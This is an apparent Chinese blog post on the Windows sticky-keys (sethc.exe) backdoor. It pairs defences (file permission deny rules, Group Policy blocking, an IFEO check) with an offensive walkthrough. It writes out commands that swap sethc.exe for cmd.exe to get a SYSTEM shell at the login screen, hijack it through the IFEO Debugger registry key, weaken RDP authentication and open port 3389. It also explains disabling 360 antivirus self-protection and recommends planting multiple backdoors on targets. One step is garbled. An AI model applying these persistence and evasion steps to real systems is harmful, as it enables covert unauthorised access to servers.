后渗透篇:组策略禁止sethc.exe运行,防止3389的sethc后门【利用与防范详细演示】


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

组策略禁止sethc.exe运行,防止3389的sethc后门

0x01 前言

0x02 防御方法

0x03 操作演示

0x04 检测和清理方法

0x05 新方法设置粘滞键后门

0x06 问题记录

0x07 总结


 

组策略禁止sethc.exe运行,防止3389的sethc后门

0x01 前言


      sethc.exe (进程名称可能叫 sethc 或者 sethc.exe)文件的Windows的粘滞键。大概意思就是按5下shift后,windows就执行了system32下的sethc.exe。

      很多黑客会CMD.exe文件来替换此文件的方式给自己留后门,一般该文件都具有users组的权限,2014年的IDC在机器原始配置的时候都很少注意权限分配,再加上一些管理员对这些很陌生,所以很多人忽视了这个地方。

 

0x02 防御方法


      打开你的system32目录,寻找sethc.exe文件,默认情况,管理员是不能编辑此文件的,因为默认权限是继承不允许的。所以,在改文件上打开右键,选择“属性”,选择“安全”选项卡,再点击“高级”按钮,把“从父项继承……”前面的对勾去掉,然后确定一下。

      两种方式:

                  • 第一种方式:是删除所有组的权限,就是大家都用不了该文件。

                  • 第二种方式:是添加一个everyone组,然后设置该组的所有权限都是“拒绝”,效果是一样的,反正就是大家都玩不了。
             注:还有另外一个位置/%systemroot%/system32/dllcache目录下,也使用同样的方法设置sethc.exe。(这是隐藏文件,具体怎么显示,文章片尾有介绍)

 

0x03 操作演示

1. 通过远程桌面连接工具连接到Windows远程桌面,在没有输入用户名和密码前,连接按5次Shift键,可以运行“sethc.exe”,从而弹出“粘滞键”对话框

                                                             登录Windows 窗口连按5次Shift键弹出DOS窗口

2. 这种不需要登录能运行命令的做法也被黑客用来放置后门。通常黑客采用替换“sethc.exe”为别的文件的方法来可以实现运行任意程序的目的。

例如:

1)首先切换到 c:\WINDOWS\system32 目录下

cd C:\WINDOWS\system32
 
 

2)首先切换到 1)首先切换到 c:\WINDOWS\system32 目录下 目录下

move sethc.exe sethc.exe.bak
 
 

3)最后把“sethc.exe”替换成“cmd.exe”,就可以打开命令提示符窗口了,打开的路径是  c:\WINDOWS\system32 目录下


 
 
  1. copy cmd.exe sethc.exe
  2. 提示:覆盖 sethc.exe 吗? (Yes/No/All): y

3. 直接按5次Shift键弹出cmd窗口,可直接以system权限执行系统命令,创建管理员用户,登录服务器等。

连按5次Shift键之前的界面如下图:

连按5次Shift键后的界面如下图:

 

0x04 检测和清理方法

• 1、远程登录服务器的时候,连续按5次shift键,确认服务器是否被入侵

• 2、拒绝使用sethc.exe或禁用Shift键

      1)拒绝使用sethc.exe

      2)首先找到C:\WINDOWS\system32和C:\WINDOWS\system32\dllcache下的sethc.exe

      3)删除所有文件安全设置下的用户,将“Everyone的权限”列表框中的选项,全部勾选“拒绝”复选框,如下图所示。

注: 在很多情况下,在提权比较艰难的时候,替换shift后门提权很方便,为了防止shift后门被利用,得对它设置权限。防止简单替换shift后门提权

先设置可查看隐藏的文件

然后进到C:\WINDOWS\system32和C:\WINDOWS\system32\dllcache下鼠标右击sethc.exe,点击属性——>安全

删除所有文件安全设置下的用户,将“Everyone的权限”列表框中的选项,全部勾选“拒绝”复选框

禁用Shift键

登录服务器后,连续按5次Shift键,在弹出的对话框中单击“设置”按钮,然后会弹出“辅助选项设置”对话框,取消对所有复选框的勾选

或找到C:\WINDOWS\system32和C:\WINDOWS\system32\dllcache的magnify.exe。

注意:防止shift后门的sethc.exe镜像劫持

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
 
 

删除所有用户的用户组,加上everyone组并设置全部拒绝。

这样只能对提权起到一点的阻碍!

 

按住WIN+R 键,快捷方式打开【运行】文本框,在文本框中输入 gpedit.msc,进入到【组策略编辑器】——>【用户配置】——>【系统】——>右击【不要运行指定的Windows 应用程序】选择属性

 

右击【不要运行指定的Windows 应用程序】选择属性,弹出如下弹框

默认是【未配置】状态

选择【已启用】选项,启动Windows 2003禁止运行指定应用程序的功能,单击【不允许的应用程序的列表】中的【显示】按钮,打开列表框,在列表框中单击【添加】,打开【添加项目】窗口,然后在该窗口中输入需要禁止运行的程序名(可以不输入路径),比方说要禁用注册表编辑器,则输入 sethc.exe ,接着点击“确定”,即可禁止该应用程序的运行。

注:当然为了安装考虑,我们还可以禁止cmd.exe,delete.exe,format.exe等等

 

0x05 新方法设置粘滞键后门

      新方法设置粘滞键后门是通过注册表来实现,整体的方法思路就是通过修改注册表的映像劫持和打开其远程桌面来实现。

      什么是映像劫持,简单理解就是当自己打开程序 a 的时候,实际上是打开的程序 b。这个功能是 windows 自带提供给一些开发调试软件用的,但常常也被恶意的病毒木马利用,比如我们要记录的当打开粘滞键 setch 的时候却打开了 cmd。

      设置映像劫持也很简单,只需要在注册表的 HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options 位置添加被劫持的程序然后简单设置一下即可,我们通过命令行执行以下程序:

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
 
 

命令说明:reg add 是向注册表添加记录,后面跟的是注册表的位置,这里需要注意的是 HKLM 实际上是 HKEY_LOCAL_MACHINE 的缩写。Image File Execution Option 这个目录就是用来设置镜像劫持的,要被劫持的就是命令中的 sethc 粘滞键程序,随后通过 / v 来指定键名,这个键名 debugger 是固定的,然后通过 / t 来指定类型,即 REG_SZ 字符串类型,最后通过 / d 来指定键的值,即被恶意替换的程序,也就是我们的 cmd。

设置完镜像劫持后就已经有了我们旧方法中直接替换 sethc 程序的效果,但我们为了方便利用,可以开启目标机的远程桌面,这里我们也通过注册表来设置一下,需要设置两个参数。

第一个是把远程桌面链接的用户鉴定选项设置为关闭状态,即值为 0,命令行运行以下命令:

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0
 
 

参数作用上面已经介绍过,这里我们来看下用户鉴权即 userauthentication 这个参数的作用,官方文档说明如下:

什么意思呢,0 的说明是进行远程桌面前不需要用户身份验证,还是默认值,1 的说明是进行远程桌面前需要进行用户身份验证。为了更好的理解,我们来看下他们的区别,下面是 userauthentication 为 1 的时候:

当 userauthentication 为 1 时即远程桌面前进行用户身份验证,这时候远程链接输入 ip 后会要求输入用户名和密码,输入用户名不输入密码直接点连接会提示身份验证错误。而当 userauthentication 为 0 时,即连接前不进行身份验证,这时候输入用户名不输入密码点连接会直接到远程桌面的锁屏那一步。所以设置为 0 我们可以直接到目标的锁屏然后调起 cmd。

第二个是把远程桌面连接的安全层设置为 0,命令行运行以下命令:

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0
 
 

参数我们不多说,我们来看下安全层 securitylayer 的作用,官方的说明如下:

简单来说,0 就是连接前使用 rdp 协议进行身份验证,rdp 即远程桌面连接,可以简单理解为就是关闭验证。1 是指在连接前两端协商来进行身份验证,这个是默认值。2 就是使用 tls 协议来进行。来看下 0 和 1 的区别:

userauthentication 用户鉴权为 0 的情况下,securitylayer 安全层为 1 的时候是点击连接后输入用户名然后再点连接到目标桌面,而把 securitylayer 改为 0 时,点击连接,会直接到用户的锁屏桌面,省去了输入凭证那一步。所以我们设置为 0,可以直接跳到锁屏桌面调 cmd。

以上三步的操作整体如下图,因为我之前已经设置过,所以会提示我是否覆盖:

以上操作的基础是目标机开启了远程桌面连接,所以我们这里也记录下如何开启远程桌面连接,首先是配置一下防火墙,设置为允许远程桌面连接,命令行运行以下命令:

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
 
 

netsh 是 windows 的网络配置命令,advfirewall firewall 意思是防火墙高级设置,add rule 是添加一条规则,name 指定规则名称,protocol 指定协议,dir 指定是出战还是入站,localport 指定端口,action 指定动作 allow 允许

设置后,我们再通过注册表来设置一下允许远程桌面连接,命令行运行以下命令:
 

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections /t REG_DWORD /D 0 /f
 
 

      至此,我们的粘滞键后门就已经完成了,远程桌面连接输入 ip 就会直接跳到目标锁屏页,如果用户没有设置密码则可以直接登录,如果有密码而又不知道密码的情况下,则可以用 shift 调出命令行来执行一些操作。

0x06 问题记录


      添加粘滞键后门需要有管理员权限,以之前的替换程序方法来说,普通用户是更改不了 sethc 的名称的,也无法进行删除

      新方法在命令行操作注册表时也需要有管理权限,且如果目标机有类似于 360 那种防恶意修改的杀毒软件的话,操作也会受助。这时使用替换程序的方法也可以,或者想办法操作目标主机修改下设置,这里以 360 设置为例,首先在设置映像劫持时,注册表会提示拒绝访问,因为映像劫持的字段名 debugger 在 360 中是被禁止修改的,360 为了防止恶意软件的操作,会阻止这一项的修改,这个进程是 360 的 zhudongfangyu.exe,我们可以看到进程列表有这个选项,如下图:

这个进程直接是结束不了的,即使使用 pchunter 也无法强制退出,这个自我保护功能可以在设置里关闭,位置在设置 - 自我保护 - 开启主动防御服务。

这时关闭后注册表还会提示错误拒绝服务,后来发现还有一个需要设置的地方就是自我保护那一项,主动防御的上一项就是,如上图。这时就可以直接修改映像劫持。如果怕麻烦也可以直接卸载,只不过会引起目标的发现而已,所以推荐修改其配置,如果条件不允许,那么在拿到 shell 且提权的情况下,也可以直接替换 sethc 程序。

0x07 总结


      可能一个目标机在自己准备拿下的时候已经被别人入侵过,也已经添加了后门,我们可以先 shift 试一下,也许就回弹出 cmd。防火墙杀毒软件如果条件苛刻,我们没有办法设置,那么直接替换 sethc 也可以,只不过隐蔽性稍差,同时我们也可以通过其他方法,其他方式,留下多个不同的后门,避免一个被发现而导致我们后续进入受阻。
 

参考链接:

                https://www.webshell.cc/6500.html

                https://blog.csdn.net/fageweiketang/article/details/88317656

 


我不需要自由,只想背着她的梦

一步步向前走,她给的永远不重


 

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值